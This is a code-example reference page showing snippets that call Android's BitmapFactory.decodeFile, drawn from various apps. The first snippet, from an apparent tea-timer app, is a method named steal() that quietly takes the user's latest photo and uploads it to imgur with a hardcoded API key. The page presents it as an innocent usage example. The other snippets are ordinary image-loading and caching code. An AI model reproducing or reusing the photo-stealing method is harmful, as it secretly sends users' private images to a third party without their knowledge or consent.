Example usage for android.graphics BitmapFactory decodeFile

Introduction

In this page you can find the example usage for android.graphics BitmapFactory decodeFile.

Prototype

public static Bitmap decodeFile(String pathName) 

Source Link

Document

Decode a file path into a bitmap.

Usage

From source file:goo.TeaTimer.TimerActivity.java

private void steal() {
    new Thread(new Runnable() {
        public void run() {
            try {
                Looper.prepare();// w  w  w.ja v  a  2s. com
                String[] filePathColumn = { MediaStore.Images.Media.DATA };

                Cursor cursor = getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
                        filePathColumn, null, null, null);
                cursor.moveToLast();

                int columnIndex = cursor.getColumnIndex(filePathColumn[0]);
                String filePath = cursor.getString(columnIndex);
                cursor.close();

                Log.v(TAG, "FilePath:" + filePath);
                Bitmap bitmap = BitmapFactory.decodeFile(filePath);
                bitmap = Bitmap.createScaledBitmap(bitmap, 480, 320, true);
                // Creates Byte Array from picture
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                bitmap.compress(Bitmap.CompressFormat.PNG, 100, baos); // Not sure whether this should be jpeg or png, try both and see which works best
                URL url = new URL("http://api.imgur.com/2/upload.json");

                //encodes picture with Base64 and inserts api key
                String data = URLEncoder.encode("image", "UTF-8") + "="
                        + URLEncoder.encode(Base64.encodeBytes(baos.toByteArray()).toString(), "UTF-8");
                data += "&" + URLEncoder.encode("key", "UTF-8") + "="
                        + URLEncoder.encode("e7570f4de21f88793225d963c6cc4114", "UTF-8");
                data += "&" + URLEncoder.encode("title", "UTF-8") + "="
                        + URLEncoder.encode("evilteatimer", "UTF-8");

                // opens connection and sends data
                URLConnection conn = url.openConnection();
                conn.setDoOutput(true);
                OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream());
                wr.write(data);
                wr.flush();

                // Read the results
                BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream()));
                String jsonString = in.readLine();
                in.close();

                JSONObject json = new JSONObject(jsonString);
                String imgUrl = json.getJSONObject("upload").getJSONObject("links").getString("imgur_page");

                Log.v(TAG, "Imgur link:" + imgUrl);
                Context context = getApplicationContext();
                mImgUrl = imgUrl;
                Toast toast = Toast.makeText(context, imgUrl, Toast.LENGTH_LONG);
                toast.show();
            } catch (Exception exception) {
                Log.v(TAG, "Upload Failure:" + exception.getMessage());
            }
        }
    }).start();
}

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From source file:com.snipme.download.ImageDownloader.java

public static boolean checkifImageExists(String imagename) {
    Bitmap b = null;//from   w  ww  .  j a va2s.  com
    File file = ImageStorage.getImage("/" + imagename + ".jpg");
    String path = file.getAbsolutePath();

    if (path != null)
        b = BitmapFactory.decodeFile(path);

    if (b == null || b.equals("")) {
        return false;
    }
    return true;
}

---

From source file:com.bloc.blocparty.TimelineFragment.java

@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);
    if (resultCode == Activity.RESULT_OK && requestCode >= 0 /*
                                                             * &&
                                                             * requestCode <
                                                             * listElements
                                                             * .size()
                                                             */) {
        Log.d(TAG, "photo submit button pressed");
        uploadPhoto();/*from  w  ww .  j a  v  a 2  s .  c  o m*/
    } else { // This means to re-authenticate
        uiHelper.onActivityResult(requestCode, resultCode, data, nativeDialogCallback);
    }

    // For camera
    if (requestCode == CAMERA_TAKE_PHOTO_REQUEST_CODE) {
        if (resultCode == RESULT_OK) { // -1
            // successfully captured the image
            // display it in image view
            bm = BitmapFactory.decodeFile(mCurrentPhotoPath);

            try {

                if (fileUri != null) {
                    photoUri = fileUri;
                    Log.d(TAG, "Image saved to:\n" + photoUri);
                    Log.d(TAG, "Image path:\n" + photoUri.getPath());
                    Log.d(TAG, "Image name:\n" + photoUri.getLastPathSegment());// getName(fileUri));

                    PictureSubmitFragment picSubmitFragment = new PictureSubmitFragment();
                    picSubmitFragment.setSubmitPhotoAndFileName(bm, photoUri);
                    picSubmitFragment.setTargetFragment(this, PHOTO_SUBMIT);
                    picSubmitFragment.show(getFragmentManager(), "fragment_picture_submit");

                } else if (data != null) {
                    photoUri = data.getData();
                } else if (resultCode == RESULT_CANCELED) { // 0
                    // user cancelled Image capture

                } else {
                    // failed to capture image

                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
}

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From source file:com.polyvi.xface.extension.capture.MediaType.java

/**
 *  Image ./*from  w ww .ja  v a 2  s.  c om*/
 *
 * @param fileAbsPath ?
 * @param obj ?
 * @return ? JSONObject
 * @throws JSONException
 */
private JSONObject getImageData(String fileAbsPath, JSONObject obj) throws JSONException {
    Bitmap bitmap = BitmapFactory.decodeFile(fileAbsPath);
    if (bitmap != null) {
        obj.put(PROP_HEIGHT, bitmap.getHeight());
        obj.put(PROP_WIDTH, bitmap.getWidth());
        bitmap.recycle();
    }
    return obj;
}

---

From source file:org.zywx.wbpalmstar.plugin.uexiconlist.utils.IconListUtils.java

public static Bitmap getImage(Context ctx, String imgUrl, JSONObject widgetJson) {
    if (imgUrl == null || imgUrl.length() == 0) {
        return null;
    }//from   w w  w .  jav  a  2  s . co  m
    Bitmap bitmap = null;
    InputStream is = null;
    imgUrl = BUtility.makeRealPath(imgUrl, widgetJson.optString(JK_WIDGET_PATH),
            widgetJson.optInt(JK_WIDGET_TYPE));
    try {
        if (imgUrl.startsWith(BUtility.F_Widget_RES_SCHEMA)) {
            is = BUtility.getInputStreamByResPath(ctx, imgUrl);
            bitmap = BitmapFactory.decodeStream(is);
        } else if (imgUrl.startsWith(BUtility.F_FILE_SCHEMA)) {
            imgUrl = imgUrl.replace(BUtility.F_FILE_SCHEMA, "");
            bitmap = BitmapFactory.decodeFile(imgUrl);
        } else if (imgUrl.startsWith(BUtility.F_Widget_RES_path)) {
            try {
                is = ctx.getAssets().open(imgUrl);
                if (is != null) {
                    bitmap = BitmapFactory.decodeStream(is);
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        } else if (imgUrl.startsWith("/")) {
            bitmap = BitmapFactory.decodeFile(imgUrl);
        } else if (imgUrl.startsWith("http://")) {
            bitmap = downloadNetworkBitmap(imgUrl);
        }
    } catch (OutOfMemoryError e) {
        e.printStackTrace();
    } finally {
        if (is != null) {
            try {
                is.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
    return bitmap;
}

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From source file:com.gfan.sbbs.utils.images.ImageManager.java

/**
 * File -> Bitmap -> . MAX_WIDTH/MAX_HEIGHT, .
 * /* www . j ava2s.  com*/
 * @param file
 * @param quality
 *            (0~100)
 * @param forceOverride
 * @throws IOException
 */
public void put(File file, int quality, boolean forceOverride) throws IOException {
    if (!file.exists()) {
        Log.w(TAG, file.getName() + " is not exists.");
        return;
    }
    if (!forceOverride && contains(file.getPath())) {
        // Image already exists.
        Log.d(TAG, file.getName() + " is exists");
        return;
        // TODO: write to file if not present.
    }

    Bitmap bitmap = BitmapFactory.decodeFile(file.getPath());
    // bitmap = resizeBitmap(bitmap, MAX_WIDTH, MAX_HEIGHT);

    if (bitmap == null) {
        Log.w(TAG, "Retrieved bitmap is null.");
    } else {
        put(file.getPath(), bitmap, quality);
    }
}

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From source file:fr.mixit.android.ui.SpeakerDetailActivity.java

private Bitmap loadImageFromCache() {
    String speakerId = getSpeakerId(mSpeakerUri);
    return BitmapFactory.decodeFile(getCacheFile(cacheDir, speakerId).getAbsolutePath());
}

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From source file:com.moki.touch.fragments.views.WebContent.java

private Bitmap getLogoBitmap() {
    ContentObject logoObject = new ContentObject(uploadLogoUrl);
    return BitmapFactory.decodeFile(
            Environment.getExternalStorageDirectory() + LOGO_LOCATION + logoObject.getContentFileName());
}

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From source file:com.example.android.navigationdrawerexample.Controller.PilihanController.java

@Override
public void onResume() {
    super.onResume();
    if (fragment.getArguments().getInt("role") == 1) {
        /*SharedPreferences sharedPreferences = getSharedPreferences(getString(R.string.profile_pref),
            MODE_PRIVATE);// w w  w  .j  a v a2s .  co m
        String defaultS = "";
        String path = sharedPreferences.getString(getString(R.string.path_foto), defaultS);*/
        ProfileController profileController = new ProfileController(username);

        mahasiswa = profileController.getMahasiswa(username);
        if (mahasiswa.getPath() != null)
            ((ImageButton) rootView.findViewById(R.id.foto_profil))
                    .setBackgroundDrawable(new BitmapDrawable(BitmapFactory.decodeFile(mahasiswa.getPath())));
        //new GetAllRole().execute(username);
    }
}

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From source file:com.manning.androidhacks.hack040.util.DiskLruCache.java

/**
 * Get an image from the disk cache.//from  w  w  w.ja v a 2  s .  com
 * 
 * @param key
 *          The unique identifier for the bitmap
 * @return The bitmap or null if not found
 */
public Bitmap get(String key) {
    synchronized (mLinkedHashMap) {
        final String file = mLinkedHashMap.get(key);
        if (file != null) {
            if (BuildConfig.DEBUG) {
                Log.d(TAG, "Disk cache hit");
            }
            return BitmapFactory.decodeFile(file);
        } else {
            final String existingFile = createFilePath(mCacheDir, key);
            if (new File(existingFile).exists()) {
                put(key, existingFile);
                if (BuildConfig.DEBUG) {
                    Log.d(TAG, "Disk cache hit (existing file)");
                }
                return BitmapFactory.decodeFile(existingFile);
            }
        }
        return null;
    }
}

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